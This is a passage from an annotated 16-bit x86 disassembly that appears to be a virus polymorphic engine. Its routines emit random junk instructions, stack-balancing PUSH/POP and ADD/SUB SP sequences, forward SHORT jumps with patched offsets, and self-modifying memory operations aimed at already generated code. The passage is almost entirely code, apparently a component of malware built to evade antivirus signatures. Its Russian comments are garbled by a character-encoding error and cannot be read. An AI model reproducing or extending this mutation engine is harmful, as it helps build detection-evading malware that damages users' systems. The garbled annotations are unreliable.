     07A3  E8 FB96                              call    RND_01234567            ; ‚¥à®ïâ­®áâì ¢ë¡®à  ­ ¡®à®¢
     07A6  74 18                                jz      short loc_07C0          ; Jump if zero
                                ;-[  ¡®à ArOp 1/2 ]-----------------------------------------------------------
     07A8  E8 FB94                              call    RND_0123
     07AB  50                                   push    ax
     07AC  0C 80                                or      al,80h                  ; AL = 80h..83h
     07AE  E8 FE9A                              call    Write_byte
     07B1  D0 E8                                shr     al,1                    ; ‚ë¡à «¨ á«®¢  ¨«¨ ¡ ©âë ?
     07B3  E8 FFC6                              call    sub_077C
     07B6                       loc_07B6:
     07B6  58                                   pop     ax
     07B7  48                                   dec     ax
     07B8  74 03                                jz      short loc_07BD          ; Jump if zero
     07BA  E9 FE60                              jmp     loc_061D                ; IM8
     07BD                       loc_07BD:
     07BD  E9 FE70                              jmp     loc_0630                ; IM16
                                ;-[  ¡®à Grp 2/3 ]------------------------------------------------------------
     07C0                       loc_07C0:
     07C0  E8 FB82                              call    RND_01                  ; ‚롨ࠥ¬: á«®¢  ¨«¨ ¡ ©âë
     07C3  50                                   push    ax
     07C4  0C F6                                or      al,0F6h                 ; ­ ¡®à Grp2/3
     07C6  E8 FE82                              call    Write_byte              ; ‡ ¯¨áì ª®¬ ­¤ë ­ ¡®à 
     07C9  E8 FB70                              call    RND_01234567            ; ‚롨ࠥ¬ ॣ¨áâà ¤«ï R/M
     07CC  0C C0                                or      al,11000000b            ; “áâ ­®¢¨âì MOD = 11
     07CE  E8 FE7A                              call    Write_byte
     07D1  EB E3                                jmp     short loc_07B6
                                sub_07A3        endp

                                ;==============================================================================
                                ; ƒ¥­¥à æ¨ï ¡ ©â   ¤à¥á æ¨¨ á ॣ¨áâ஢®©  ¤à¥á æ¨¥© [MOD]-[REG]-[R/M]
                                ;   ¢å®¤¥ : CF = 0 - 8-¬¨ ¡¨â­ë¥ ॣ¨áâàë
                                ;            CF = 1 - 16-⨠¡¨â­ë¥ ॣ¨áâàë
                                ;==============================================================================
                                sub_07D3        proc    near
     07D3  9C                                   pushf                           ; Push flags
     07D4  E8 FB5F                              call    RND_0_3F                ; ƒ¥­¥à¨¬ ¯®«ï REG ¨ R/M
     07D7  9D                                   popf                            ; Pop flags
     07D8  73 0B                                jnc     short loc_07E5          ; Jump if CF=0
                                ; ¥á«¨ ®¯¥à æ¨¨ á 16-⨠¡¨â­ë¬¨ ॣ¨áâà ¬¨, â® ­ã¦­® á«¥¤¨âì §  SP
     07DA  8A E0                                mov     ah,al
     07DC  80 E4 07                             and     ah,00000111b            ; ‚뤥«¨âì ¯®«¥ R/M
     07DF  80 FC 04                             cmp     ah,00000100b            ; Ž¯¥à æ¨¨ á SP ¯à®¯ã᪠¥¬
     07E2  75 01                                jne     short loc_07E5          ; Jump if not equal
     07E4  40                                   inc     ax                      ; ‚¬¥áâ® SP áâ ¢¨¬ BP
     07E5                       loc_07E5:
     07E5  0C C0                                or      al,11000000b            ; MOD = 11
     07E7  C3                                   retn
                                sub_07D3        endp

                                ;==============================================================================
                                ; Ž¯¥à æ¨¨ MUL/IMUL ­ ¤ ॣ¨áâà ¬¨
                                ;==============================================================================
                                sub_07E8        proc    near
     07E8  E8 FB5A                              call    RND_01                  ; ‚롨ࠥ¬: á«®¢  ¨«¨ ¡ ©âë
     07EB  0C F6                                or      al,0F6h                 ;  ¡®à Grp 2/3
     07ED  E8 FE5B                              call    Write_byte              ; ‡ ¯¨áì ª®¬ ­¤ë ­ ¡®à 
     07F0  92                                   xchg    dx,ax
     07F1  E8 FB3D                              call    RND_0_FF                ; £¥­¥à¨¬ ¡ ©â  ¤à¥á æ¨¨
     07F4  24 CF                                and     al,11001111b            ; ˆ§ ­ ¡®à  Grp 2/3 ¢ë¡¨à ¥¬
     07F6  0C 20                                or      al,00100000b            ;  ª®¬ ­¤ë MUL/IMUL
     07F8  D0 EA                                shr     dl,1                    ; ‚ë¡à «¨ á«®¢  ¨«¨ ¡ ©âë ?
     07FA  E9 FDDD                              jmp     loc_05DA
                                sub_07E8        endp

                                ;==============================================================================
                                ; Ž¯¥à æ¨¨ NOT/NEG ­ ¤ ॣ¨áâà ¬¨
                                ;==============================================================================
                                sub_07FD        proc    near
     07FD  E8 FB45                              call    RND_01                  ; ‚롨ࠥ¬: á«®¢  ¨«¨ ¡ ©âë
     0800  9C                                   pushf                           ; Push flags
     0801  0C F6                                or      al,0F6h                 ;  ¡®à Grp 2/3
     0803  92                                   xchg    dx,ax
     0804  E8 FB32                              call    RND_0_F                 ; AL = 0000 xREG
     0807  8A E2                                mov     ah,dl
     0809  0C D0                                or      al,11010000b            ; MOD = 11, OP=01x, REG =RND
     080B  9D                                   popf                            ; Pop flags
     080C  74 0B                                jz      short loc_0819          ; ‚ë¡à «¨ á«®¢  ¨«¨ ¡ ©âë ?
                                ; ¥á«¨ ®¯¥à æ¨¨ á 16-⨠¡¨â­ë¬¨ ॣ¨áâà ¬¨, â® ­ã¦­® á«¥¤¨âì §  SP
     080E  8A D0                                mov     dl,al
     0810  80 E2 07                             and     dl,00000111b
     0813  80 FA 04                             cmp     dl,00000100b            ; ®â¡à®á¨âì SP
     0816  75 01                                jne     short loc_0819          ; Jump if not equal
     0818  40                                   inc     ax                      ; ‚¬¥áâ® SP áâ ¢¨¬ BP
     0819                       loc_0819:
     0819  86 C4                                xchg    al,ah
     081B                       loc_081B:
     081B  E9 FE18                              jmp     loc_0636                ; Write_byte
                                sub_07FD        endp

                                ;==============================================================================
                                ; Ž¯¥à æ¨¨ ¢à é¥­¨ï ᮤ¥à¦¨¬®£® ॣ¨áâ஢
                                ;==============================================================================
                                sub_081E        proc    near
     081E  E8 FB1E                              call    RND_0123
     0821  0C D0                                or      al,0D0h                 ; AL = D0h..D3h
     0823  E8 FE25                              call    Write_byte              ; ‡ ¯¨á âì ª®¬ ­¤ã
     0826  D0 E8                                shr     al,1                    ;
     0828  9C                                   pushf                           ; Push flags
     0829  E8 FB0A                              call    RND_0_3F
     082C  9D                                   popf                            ; Pop flags
     082D  73 0B                                jnc     short loc_083A          ; ‚ë¡à «¨ á«®¢  ¨«¨ ¡ ©âë ?
                                ; ¥á«¨ ®¯¥à æ¨¨ á 16-⨠¡¨â­ë¬¨ ॣ¨áâà ¬¨, â® ­ã¦­® á«¥¤¨âì §  SP
     082F  8A E0                                mov     ah,al
     0831  80 E4 07                             and     ah,00000111b
     0834  80 FC 04                             cmp     ah,00000100b            ; ®â¡à®á¨âì SP
     0837  75 01                                jne     short loc_083A          ; Jump if not equal
     0839  40                                   inc     ax                      ; ‚¬¥áâ® SP áâ ¢¨¬ BP
     083A                       loc_083A:
     083A  0C C0                                or      al,11000000b            ; MOD = 11 (⮫쪮 ॣ¨áâàë)
     083C                       loc_083C:
     083C  E9 FE0C                              jmp     loc_064B                ; Write_Byte
                                sub_081E        endp

                                ;==============================================================================
                                ; à®æ¥¤ãà  £¥­¥à¨àãîé ï ª®¬ ­¤ë ¢ëà ¢­¨¢ ­¨ï á⥪ 
                                ; ‚室 : AX - ª®«¨ç¥á⢮ á«®¢, ­  ª®â®à®¥ ­ ¤® ¢ë஢­ïâì á⥪
                                ;==============================================================================

                                sub_083F        proc    near
     083F  51                                   push    cx
     0840  B1 58                                mov     cl,58h                  ; cmd POP REG
     0842  48                                   dec     ax                      ; AX = 1
     0843  74 3B                                jz      short loc_0880          ; Jump if zero
     0845  48                                   dec     ax                      ; AX = 2
     0846  74 35                                jz      short loc_087D          ; Jump if zero
     0848  40                                   inc     ax                      ; AX = 0
     0849  40                                   inc     ax
     084A  74 37                                jz      short loc_0883          ; Jump if zero
     084C  B1 50                                mov     cl,50h                  ; cmd PUSH REG
     084E  40                                   inc     ax                      ; AX = -1 (FFFFh)
     084F  74 2F                                jz      short loc_0880          ; Jump if zero
     0851  40                                   inc     ax                      ; AX = -2 (FFFEh)
     0852  74 29                                jz      short loc_087D          ; Jump if zero
                                ;------------------------------------------------------------------------------
                                ; —¨á«® AX ¯à¥®¡à §®¢ âì ¢ ª®«¨ç¥á⢮ á«®¢ (â.¥. 㬭®¦¨âì ­  2)
     0854  48                                   dec     ax
     0855  48                                   dec     ax
     0856  D1 E0                                shl     ax,1                    ; 㬭®¦¨âì ­  2
     0858  8B C8                                mov     cx,ax                   ; CX = ª®«¨ç¥á⢮ á«®¢
     085A  98                                   cbw                             ; Convrt byte to word
     085B  3B C1                                cmp     ax,cx                   ; ®«ìè¥ 127(7F) ?
     085D  9C                                   pushf                           ; Push flags
                                ;------------------------------------------------------------------------------
                                ; ‚롨ࠥ¬ çâ® ¤¥« âì : ®â­¨¬ âì ¨«¨ ¯à¨¡ ¢«ïâì SP
     085E  E8 FAE4                              call    RND_01                  ; à¨¡ ¢¨âì ¨«¨ ®â­ïâì ?
                                                ; ---------------- ¯à¨¡ ¢¨âì
     0861  B8 C483                              mov     ax,0C483h               ; cmd <ADD SP, IM8>  {83 C4 xx}
     0864  74 04                                jz      short loc_086A          ; Jump if RND = 0
                                                ; ---------------- ®â­ïâì
     0866  B4 EC                                mov     ah,0ECh                 ; cmd <SUB SP, IM8>  {83 EC xx}
     0868  F7 D9                                neg     cx                      ; CX = -CX
     086A                       loc_086A:
     086A  9D                                   popf                            ; Pop flags
     086B  75 07                                jnz     short loc_0874          ; ¥à¥å®¤, ¥á«¨ ¡®«ìè¥ 127
                                ;-------- €‰’› (IM8) ---------------------------------------------------------
     086D  E8 FDC6                              call    Write_word              ; ‡ ¯¨áì ª®¬ ­¤ë
     0870  91                                   xchg    cx,ax
     0871  59                                   pop     cx
     0872  EB C8                                jmp     short loc_083C          ; Write_Byte (§ ¯¨áì IM8)
                                ;-------- ‘‹Ž‚€ (IM16) --------------------------------------------------------
                                ; {81 EC xx xx} - ADD SP, IM16              {81 EC xx xx} - SUB SP, IM16
     0874                       loc_0874:
     0874  B0 81                                mov     al,81h
     0876  E8 FDBD                              call    Write_word
     0879  91                                   xchg    cx,ax
     087A  59                                   pop     cx
     087B                       loc_087B:
     087B  EB 9E                                jmp     short loc_081B
                                ;------------------------------------------------------------------------------
     087D                       loc_087D:
     087D  E8 0005                              call    sub_0885
     0880                       loc_0880:
     0880  E8 0002                              call    sub_0885
     0883                       loc_0883:
     0883  59                                   pop     cx
     0884  C3                                   retn
                                sub_083F        endp

                                ;==============================================================================
                                ; à®æ¥¤ãà  £¥­¥à æ¨¨ ¡¨â®¢ R/M ¢ ¡ ©â¥  ¤à¥á æ¨¨
                                ;==============================================================================
                                sub_0885        proc    near
     0885  E8 FAB4                              call    RND_01234567            ; ‚롨ࠥ¬ ॣ¨áâà
     0888  0A C1                                or      al,cl
     088A  3C 5C                                cmp     al,5Ch                  ; Ž¯¥à æ¨¨ POP SP ?
     088C  75 AE                                jne     loc_083C                ; Jump if NO
     088E  B0 07                                mov     al,7                    ; ‡ ¬¥­ï¥¬ ­  POP ES
     0890  EB AA                                jmp     short loc_083C
                                sub_0885        endp

                                ;==============================================================================
                                ; ƒ¥­¥à æ¨ï ¨­áâàãªæ¨© ãá«®¢­ëå ¨ ¡¥§ãá«®¢­ëå SHORT ¯¥à¥å®¤®¢
                                ; ¥à¥å®¤ë ⮫쪮 ¢¯¥à¥¤, â.¥. á ¯®«®¦¨â¥«ì­ë¬ ᬥ饭¨¥¬
                                ;==============================================================================
                                sub_0892        proc    near
     0892  2E: 83 3E 06F3 00                    cmp     cs:data_06F3,0          ; ®¤¯à®£à ¬¬ë ¡ë«¨ ?
     0898  74 05                                je      short loc_089F          ; Jump if …’
     089A  E8 FAA2                              call    RND_0123                ; „€. ‚¥à®ïâ­®áâì 1/4
     089D  75 29                                jnz     short loc_ret_08C8      ; Jump if RND <> 0
     089F                       loc_089F:
     089F  B8 0015                              mov     ax,15h
     08A2  E8 FAA3                              call    RND_0_AX                ; ‚¥à®ïâ­®áâì
     08A5  B4 EB                                mov     ah,0EBh                 ; cmd JMP SHORT ¡¥§ãá«®¢­ë©
     08A7  74 0C                                jz      short loc_08B5          ; Jump if RND = 0
     08A9  B4 DF                                mov     ah,0DFh                 ; ª®¬ ­¤ë § ªàëâ¨ï 横« 
     08AB  02 E0                                add     ah,al
     08AD  2C 05                                sub     al,5
     08AF  72 04                                jc      short loc_08B5          ; Jump if carry Set
     08B1  B4 70                                mov     ah,70h                  ; JMP SHORT ¯® ãá«®¢¨î
     08B3  02 E0                                add     ah,al
     08B5                       loc_08B5:
     08B5  8A C4                                mov     al,ah
     08B7  32 E4                                xor     ah,ah                   ; Zero register
     08B9  5A                                   pop     dx
                                ;-------------- § ­¥á⨠¢ ¬ áᨢ ¨­ä®à¬ æ¨î ¯à® ¥é¥ ®¤¨­ SHORT ¯¥à¥å®¤
     08BA  2E: FF 36 06BE                       push    cs:StackCounter         ;Ä¿
     08BF  43                                   inc     bx                      ; ³ ®¢ë© SHORT ¯¥à¥å®¤
     08C0  53                                   push    bx                      ; ³
     08C1  4B                                   dec     bx                      ;ÄÙ
     08C2  52                                   push    dx
     08C3  EB B6                                jmp     short loc_087B
                                sub_0892        endp

                                ;==============================================================================
                                ; ‚맮¢ ¯à®æ¥¤ãàë ä®à¬¨à®¢ ­¨ï ᬥ饭¨© ¤«ï SHORT ¯¥à¥å®¤®¢
                                ;==============================================================================
                                sub_08C5        proc    near
     08C5  E8 0001                              call    sub_08C9         ; ’® çâ® ­¥ ¢ë§ë¢ ¥âáï ­ ¯àï¬ãî -
                                                                         ;   ª«î祢®© ¬®¬¥­â
     08C8                       loc_ret_08C8:
     08C8  C3                                   retn
                                sub_08C5        endp

                                ;==============================================================================
                                ; à®æ¥¤ãà  ¯à®áâ ­®¢ª¨ ᬥ饭¨© ¢ ¨­áâàãªæ¨ïå ª®à®âª®£® ¯¥à¥å®¤  (SHORT)
                                ; à¨¬¥ç ­¨¥ : SHORT ¯¥à¥å®¤ë ¬®£ãâ ¡ëâì ⮫쪮 ¢­ãâਠãç á⪠, ­® ­¥ ¬¥¦¤ã
                                ;               ãç á⪠¬¨, ¤ ¦¥ ¥á«¨ ®­¨ ¢ ®¤­®© ¯®¤¯à®£à ¬¬¥
                                ;==============================================================================
                                sub_08C9        proc    near
     08C9  2E: 8F 06 0921                       pop     cs:data_0921
     08CE  5A                                   pop     dx
     08CF  8B CB                                mov     cx,bx                   ; ⥪ã騩 㪠§ â¥«ì  ¤à¥á 
                                                                                ; £¥­¥à¨à㥬®£® ãç á⪠
     08D1                       loc_08D1:
     08D1  5E                                   pop     si
     08D2  0B F6                                or      si,si                   ; Mark-end ?
     08D4  74 48                                jz      short loc_091E          ; Jump to exit if YES
                                ;------------------------------------------------------------------------------
     08D6  58                                   pop     ax                      ; Š®«¨ç¥á⢮ á«®¢ ¢ áç¥â稪¥
                                                                                ;  á⥪  ­  ¬®¬¥­â § ¯¨á¨ ª®-
                                                                                ;  ¬ ­¤ë SHORT ¯¥à¥å®¤ 
     08D7  2E: 83 3E 06F3 00                    cmp     cs:data_06F3,0          ;   í⮬ ãç á⪥ á® á⥪®¬
                                                                                ;  çâ®-­¨¡ã¤ì ¤¥« «¨ ?
     08DD  74 0F                                je      short loc_08EE          ; …’. ’®£¤  ­¥ç¥£® ¯à®¢¥àïâì
                                                ; „€, ¤¥« «¨.
                                                ; ëâ ¥¬áï ª®à४â¨à®¢ âì á⥪ ª §­ ç¥­¨î ¤® ª®¬ ­¤ë ¯¥à¥å®¤ 
     08DF  2E: 87 06 06BE                       xchg    cs:StackCounter,ax
     08E4  2E: 2B 06 06BE                       sub     ax,cs:StackCounter
     08E9  E8 FF53                              call    sub_083F
     08EC  EB 0B                                jmp     short loc_08F9
     08EE                       loc_08EE:
     08EE  2E: 3B 06 06BE                       cmp     ax,cs:StackCounter
     08F3  73 04                                jae     short loc_08F9          ; Jump if above or =
     08F5  2E: A3 06BE                          mov     cs:StackCounter,ax
                                ;------------------------------------------------------------------------------
     08F9                       loc_08F9:
     08F9  8B C3                                mov     ax,bx                   ; Ä¿  ááâ®ï­¨¥ ®â ⥪ã饣®
     08FB  2B C6                                sub     ax,si                   ;  ³  ¤à¥á  ¤® ª®¬ ­¤ë ¯¥à¥å®¤ 
     08FD  48                                   dec     ax                      ;  ³ ¬¥­¥¥ 128 ¡ ©â ?
     08FE  3D 0080                              cmp     ax,80h                  ; ÄÙ
     0901  72 14                                jb      short loc_0917          ; Jump if YES
     0903  2E: 83 3E 06F3 00                    cmp     cs:data_06F3,0          ;   í⮬ ãç á⪥ ¤¥« «¨
                                                                                ;  çâ®-­¨¡ã¤ì á® á⥪®¬ ?
     0909  75 0A                                jne     short loc_0915          ; Jump if YES
                                                ; …᫨ á® á⥪®¬ ­¨ç¥£® ­¥ ¤¥« «¨, â® ¬®¦­®
                                                ; ¯®áâ ¢¨âì ¯¥à¥å®¤ ¨ ­  á®á¥¤­¨¥ ª®¬ ­¤ë ¯¥à¥å®¤®¢
     090B  8B C1                                mov     ax,cx                   ; Ä¿  ááâ®ï­¨¥ ¬¥¦¤ã ¤¢ã¬ï
     090D  2B C6                                sub     ax,si                   ;  ³ ª®¬ ­¤ ¬¨ SHORT ¯¥à¥å®¤®¢
     090F  48                                   dec     ax                      ;  ³ ¬¥­¥¥ 128 ¡ ©â ?
     0910  3D 0080                              cmp     ax,80h                  ; ÄÙ
     0913  72 02                                jb      short loc_0917          ; Jump if YES
     0915                       loc_0915:
     0915  32 C0                                xor     al,al                   ; ‘â ¢¨¬ ᬥ饭¨¥ 0
     0917                       loc_0917:
     0917  8D 4C FF                             lea     cx,[si-1]               ; CX -  ¤à¥á ¯à¥¤ë¤ã饣®
                                                                                ;       ¯¥à¥å®¤ 
     091A  88 04                                mov     [si],al                 ; ‡ ¯¨á âì ¯®«ã祭­®¥ ᬥ饭¨¥
     091C  EB B3                                jmp     short loc_08D1
     091E                       loc_091E:
     091E  56                                   push    si
     091F  52                                   push    dx
     0920  B8 ????                              mov     ax,1111h
                                data_0921       =       word ptr $ - 2
     0923  FF E0                                jmp     ax                      ; Register jump
                                sub_08C9        endp

                                ;===================================================================[MemModify]
                                ; Ž¯¥à樨 ¯¥à¥á뫪¨ ¢ ¯ ¬ïâì (MOV mem / POP mem)
                                ;==============================================================================
                                sub_0925        proc    near
     0925  E8 00EC                              call    sub_0A14                ; Š ª â ¬ á ᥣ¬¥­â®¬ ¤ ­­ëå ?
     0928  E8 FA1A                              call    RND_01                  ; ‚¥à®ïâ­®áâì MOV ¨ POP - 1/2
     092B  74 07                                jz      short loc_0934          ; Jump if RND=0
     092D                       loc_092D:
     092D  E8 FA15                              call    RND_01                  ; ‚롨ࠥ¬: á«®¢  ¨«¨ ¡ ©âë
     0930  0C A2                                or      al,0A2h                 ; cmd MOV mem, reg
     0932  EB 43                                jmp     short loc_0977
     0934                       loc_0934:
     0934  2E: A1 06BE                          mov     ax,cs:StackCounter
     0938  2E: 3B 06 06F3                       cmp     ax,cs:data_06F3         ; …áâì «¨ ᥩç á ­  ãç á⪥ ­¥
                                                                                ;  á­ïâë¥ á® á⥪  á«®¢  ?
     093D  74 EE                                je      loc_092D                ; Jump if NO
                                ;------------------------------------------------------------------------------
     093F  2E: FF 0E 06BE                       dec     cs:StackCounter         ; 㬥­ìè¨âì áç¥â稪 á⥪  ­  1
     0944  B0 8F                                mov     al,8Fh                  ; cmd POP R/M
     0946  E8 FD02                              call    Write_byte
     0949  B0 06                                mov     al,6                    ;  ©â  ¤à¥á æ¨¨
                                                                                ;  (MOD=00,R/M=disp16)
     094B  EB 2A                                jmp     short loc_0977
                                sub_0925        endp

                                ;===================================================================[MemModify]
                                ; €à¨ä¬¥â¨ç¥áª¨¥ ®¯¥à æ¨¨ ­ ¤ ¯ ¬ïâìî ¨§ ­ ¡®à  data_0A43
                                ;==============================================================================
                                sub_094D        proc    near
     094D  E8 00C4                              call    sub_0A14                ; Š ª â ¬ á ᥣ¬¥­â®¬ ¤ ­­ëå ?
     0950  B8 000C                              mov     ax,0Ch
     0953  E8 F9F2                              call    RND_0_AX
     0956  96                                   xchg    si,ax
     0957  2E: 8A 84 0A43                       mov     al,cs:data_0A43[si]
     095C  34 02                                xor     al,2                    ; Œ¥­ï¥¬ ­ ¯à¢«¥­¨¥ ¯¥à¥á뫪¨
                                                                                ;  १ã«ìâ â 
     095E  EB 6A                                jmp     short loc_09CA
                                sub_094D        endp

                                ;===================================================================[MemModify]
                                ; Ž¯¥à æ¨¨ NOT/NEG ¨ INC/DEC ­ ¤ ᮤ¥à¦¨¬ë¬ ¯ ¬ïâ¨
                                ;==============================================================================
                                sub_0960        proc    near
     0960  E8 00B1                              call    sub_0A14                ; Š ª â ¬ á ᥣ¬¥­â®¬ ¤ ­­ëå ?
     0963  E8 F9DF                              call    RND_01                  ; ‚¥à®ïâ­®áâì - 1/2
     0966  74 11                                jz      short loc_0979          ; Jump if zero
                                ;-[  ¡®à Grp 2/3 ]-[ cmd DEC/INC ]--------------------------------------------
     0968  E8 F9DA                              call    RND_01                  ; ‚롨ࠥ¬: á«®¢  ¨«¨ ¡ ©âë
     096B  0C FE                                or      al,0FEh
     096D  E8 FCDB                              call    Write_byte              ; § ¯¨áì ª®¬ ­¤ë ­ ¡®à 
     0970  E8 F9BE                              call    RND_0_FF
     0973  24 08                                and     al,00001000b            ; à¨ MOD=00
     0975  0C 06                                or      al,00000110b            ; ¨  ¤à¥á æ¨¥© disp16
     0977                       loc_0977:
     0977  EB 63                                jmp     short sub_09DC         ; áä®à¬¨à®¢ âì  ¤à¥á ¬®¤¨ä¨ª æ¨¨
                                ;-[  ¡®à Grp 1 ]-[ cmd NOT/NEG ]----------------------------------------------
     0979                       loc_0979:
     0979  E8 F9C9                              call    RND_01                  ; ‚롨ࠥ¬: á«®¢  ¨«¨ ¡ ©âë
     097C  0C F6                                or      al,0F6h
     097E  E8 FCCA                              call    Write_byte              ; § ¯¨áì ª®¬ ­¤ë ­ ¡®à 
     0981  E8 F9AD                              call    RND_0_FF
     0984  24 08                                and     al,00001000b            ; à¨ MOD=00
     0986  0C 16                                or      al,00010110b            ; ¨  ¤à¥á æ¨¥© disp16
     0988  EB 52                                jmp     short sub_09DC         ; áä®à¬¨à®¢ âì  ¤à¥á ¬®¤¨ä¨ª æ¨¨
                                sub_0960        endp

                                ;===================================================================[MemModify]
                                ;
                                ;==============================================================================
                                sub_098A        proc    near
     098A  E8 0087                              call    sub_0A14                ; Š ª â ¬ á ᥣ¬¥­â®¬ ¤ ­­ëå ?
     098D  E8 F9A9                              call    RND_0_F

                                ; ‘ ¢¥à®ïâ­®áâìî 1/16 ¨á¯®«ì§ã¥âáï ª®¬ ­¤  ¨§ ­ ¡®à  Grp1
                                ; F6 006 xx xx zz    - TEST byte ptr [xxxx], zz
                                ; F7 006 xx xx zz zz - TEST word ptr [xxxx], zzzz
     0990  B2 F6                                mov     dl,0F6h
     0992  74 21                                jz      short loc_09B5          ; Jump if zero

                                ; ‘ ¢¥à®ïâ­®áâìî 1/16 ¨á¯®«ì§ã¥âáï ª®¬ ­¤  ¨§ ­ ¡®à 
                                ; C6 006 xx xx zz    - MOV byte ptr [xxxx], zz
                                ; C7 006 xx xx zz zz - MOV word ptr [xxxx], zzzz
     0994  B2 C6                                mov     dl,0C6h
     0996  48                                   dec     ax
     0997  74 1C                                jz      short loc_09B5          ; Jump if zero

                                ; ‘ ¢¥à®ïâ­®áâìî 14/16 ¨á¯®«ì§ã¥âáï ª®¬ ­¤  ¨§ ­ ¡®à  ArOp 1/2
                                ; 80/82 0?6 xx xx zz     - ArOp byte ptr [xxxx], zz
                                ; 81/83 0?6 xx xx zz zz  - ArOp word ptr [xxxx], zzzz
     0999  E8 F9A3                              call    RND_0123
     099C  50                                   push    ax
     099D  0C 80                                or      al,80h                  ; AL = 80h..83h
     099F  E8 FCA9                              call    Write_byte              ; ‡ ¯¨áì ª®¬ ­¤ë
                                ;--------------- Ž¯à¥¤¥«ï¥¬áï á ¡ ©â®¬  ¤à¥á æ¨¨ ------------------------------
     09A2  E8 F991                              call    RND_0_3F                ; ƒ¥­¥à æ¨ï ¡ ©â   ¤à¥á æ¨¨
                                                                                ;  MOD = 00
     09A5  0C 07                                or      al,00000111b
     09A7  48                                   dec     ax                      ; AX = 00???110b (disp16)
                                ;------------------------------------------------------------------------------
     09A8                       loc_09A8:
     09A8  E8 0031                              call    sub_09DC               ; áä®à¬¨à®¢ âì  ¤à¥á ¬®¤¨ä¨ª æ¨¨
                                                                               ;   (xxxx)
                                ;--------------- áä®à¬¨à®¢ âì ®¯¥à ­¤ (zzzz)
     09AB  58                                   pop     ax
     09AC  48                                   dec     ax
     09AD  74 03                                jz      short loc_09B2          ; Jump if zero
     09AF  E9 FC6B                              jmp     loc_061D                ; IM8 (zz)
     09B2                       loc_09B2:
     09B2  E9 FC7B                              jmp     loc_0630                ; IM16 (zzzz)
                                ;------------------------------------------------------------------------------
     09B5                       loc_09B5:
     09B5  E8 F98D                              call    RND_01                  ; ‚롨ࠥ¬: á«®¢  ¨«¨ ¡ ©âë
     09B8  50                                   push    ax
     09B9  0A C2                                or      al,dl
     09BB  E8 FC8D                              call    Write_byte              ; ‡ ¯¨á âì ª®¬ ­¤ã
     09BE  B0 06                                mov     al,00000110b            ; MOD=00, R/M=disp16
     09C0  EB E6                                jmp     short loc_09A8
                                sub_098A        endp

                                ;===================================================================[MemModify]
                                ; ƒ¥­¥à æ¨ï ®¯¥à æ¨© ¢à é¥­¨ï/ᤢ¨£  ᮤ¥à¦¨¬®£® ¯ ¬ï⨠(ŠŽ = D0h,D1h,D2h,D3h)
                                ; -= ShiftOperation with mem =-      ShftOp [mem],<nn>    (nn=1 or CL)
                                ;==============================================================================
                                sub_09C2        proc    near
     09C2  E8 004F                              call    sub_0A14                ; Š ª â ¬ á ᥣ¬¥­â®¬ ¤ ­­ëå ?
     09C5  E8 F977                              call    RND_0123
     09C8  0C D0                                or      al,0D0h                 ; AX = RND (D0h..D3h)
                                ;------------------------------------------------------------------------------
     09CA                       loc_09CA:
     09CA  E8 FC7E                              call    Write_byte              ; ‡ ¯¨áì ª®¬ ­¤ë
     09CD  92                                   xchg    dx,ax                   ; DL = ŠŽ
     09CE  E8 F960                              call    RND_0_FF                ; AX = á«ãç ©­ë© ¡ ©â  ¤à¥á æ¨¨
                                                ; â.ª. ç¥à¥§ í⨠ª®¬ ­¤ë ¯à®å®¤¨â ­¥ ⮫쪮 ¯à®æ¥¤ãà  sub_09C2
                                                ; ­® ¨ ¤à㣨¥ ¯à®æ¥¤ãàë, â® ­ã¦­® ¯à®¢¥à¨âì ª®¥-çâ®
     09D1  80 FA 8C                             cmp     dl,8Ch               ; í⨬ "ª®¥-çâ®" ¥áâì ª®¬ ­¤ 
                                                                             ; MOV r/m, SEG
     09D4  75 02                                jne     short loc_09D8
     09D6  24 18                                and     al,00011000b         ; â.ª. ¢ ª®¬ ­¤¥ MOV r/m, SEG
                                                                             ; ¯®«¥ reg ¤®«¦­® ¡ëâì ¢ ¤¨ ¯ §®­¥
                                                                             ; ®â 000 ¤® 011, â® ­ã¦­® á¡à®á¨âì
                                                                             ; áâ à訩 (¤«ï reg -0xx-) ¡¨â
     09D8                       loc_09D8:
                                ; ‚ᥠ¡ ©âë  ¤à¥á æ¨¨ ­ áâà ¨¢ îâáï â ª, ç⮡ë MOD=00,   ®¯¥à æ¨¨
                                ; ¯à®¨§¢®¤¨«¨áì ¡ë ⮫쪮 á ­¥¯®á।á⢥­­ë¬  ¤à¥á®¬ ¯ ¬ï⨠disp16 (R/M=110).
                                ; ‘¤¥« ­® â ª ¯®â®¬ã, çâ®  ¤à¥á  ¢ëç¨á«ï¥¬ë¥ ç¥à¥§ ॣ¨áâàë ®¡é¥£®
                                ; ­ §­ ç¥­¨ï ¨á¯®«ì§®¢ âì ­¥«ì§ï ¢ á«¥¤á⢨¨ ¨å ¯®áâ®ï­­®© ¬®¤¨ä¨ª æ¨¨.

     09D8  24 38                                and     al,38h       ; MOD = 00, reg = RND(0..7)
     09DA  0C 06                                or      al,6         ; r/m = 6 ( ¤à¥á æ¨ï ⮫쪮 á disp16)

                                ;==============================================================================
                                ; à®æ¥¤ãà  ä®à¬¨àã¥â  ¤à¥á ï祩ª¨ ¯ ¬ïâ¨ á ª®â®àë¬ ŒŽ†Ž ¯à®¨§¢®¤¨âì
                                ; ®¯¥à æ¨¨ ¬®¤¨ä¨ª æ¨¨. ‚ ª ç¥á⢥ â ª¨å ï祥ª ¨á¯®«ì§ãîâáï  ¤à¥á  㦥
                                ; ᣥ­¥à¨à®¢ ­­ëå (¯à®©¤¥­­ëå) ãç á⪮¢ ª®¤  (¡¥àãâáï ¨§ ˆ”Ž-¡«®ª ).
                                ; à¨­æ¨¯ ¯®¤¡®à  â ª®© : ¥áâì ®¡é¥¥ ç¨á«® (à §¬¥à) 㦥 ᣥ­¥à¨à®¢ ­­ëå
                                ; ¡ ©â. ¥à¥¬ ¨§ í⮣® ¤¨ ¯ §®­  á«ãç ©­®¥ ç¨á«®. ‡ â¥¬ ­ ç¨­ ¥¬ ¯¥à¥¡¨à âì
                                ; 㦥 ᣥ­¥à¨à®¢ ­­ë¥ ãç á⪨ ¨ ¯ëâ âìáï ¢ ­¨å ¢â¨á­ãâìáï.   ¯à ªâ¨ª¥ íâ®
                                ; ®§­ ç ¥â á¨âã æ¨î, ª®£¤  ¬®¤¨ä¨ª æ¨¨ ¡ã¤ãâ ¯®¤¢¥à£ âìáï ⥠ãç á⪨, ª®â®-
                                ; àë¥ ã¦¥ ¡ë«¨ ¯à®©¤¥­ë ¨ ª ­¨¬ 㦥 ­¥ ¢¥à­¥¬áï.
                                ;==============================================================================

                                sub_09DC        proc    near
     09DC  E8 FC6C                              call    Write_byte              ; ‡ ¯¨áì ¡ ©â   ¤à¥á æ¨¨
